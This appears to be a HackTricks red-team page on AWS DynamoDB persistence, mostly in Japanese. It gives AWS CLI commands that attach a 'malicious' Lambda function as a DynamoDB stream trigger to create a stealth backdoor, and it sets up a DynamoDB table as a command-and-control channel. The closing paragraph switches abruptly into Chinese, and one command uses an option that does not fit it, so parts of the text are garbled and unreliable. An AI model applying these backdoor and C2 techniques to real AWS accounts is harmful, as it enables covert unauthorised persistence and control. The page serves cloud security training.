AWS - DynamoDB Persistence

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

DynamoDB

詳細については、以下にアクセスしてください:

pageAWS - DynamoDB Enum

DynamoDBトリガーとLambdaバックドア

DynamoDBトリガーを使用すると、攻撃者は悪意のあるLambda関数をテーブルに関連付けることで、ステルスバックドアを作成できます。Lambda関数は、アイテムが追加、変更、または削除されたときにトリガーされ、攻撃者はAWSアカウント内で任意のコードを実行できます。

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

攻撃者は、DynamoDBテーブル内のアイテムを作成または変更することで持続性を維持することができます。これにより、悪意のあるLambda関数をトリガーできます。これにより、攻撃者はLambda関数と直接的なやり取りなしにAWSアカウント内でコードを実行できます。

DynamoDBをC2チャネルとして使用する

攻撃者は、DynamoDBテーブルをコマンドアンドコントロール(C2)チャネルとして使用することができます。これは、コマンドを含むアイテムを作成し、侵害されたインスタンスやLambda関数を使用してこれらのコマンドを取得および実行することができます。

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

被侵害的实例或Lambda函数可以定期检查C2表以获取新命令,执行它们,并可选择性地将结果报告回表中。这使得攻击者能够保持对被侵害资源的持久性和控制。

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最終更新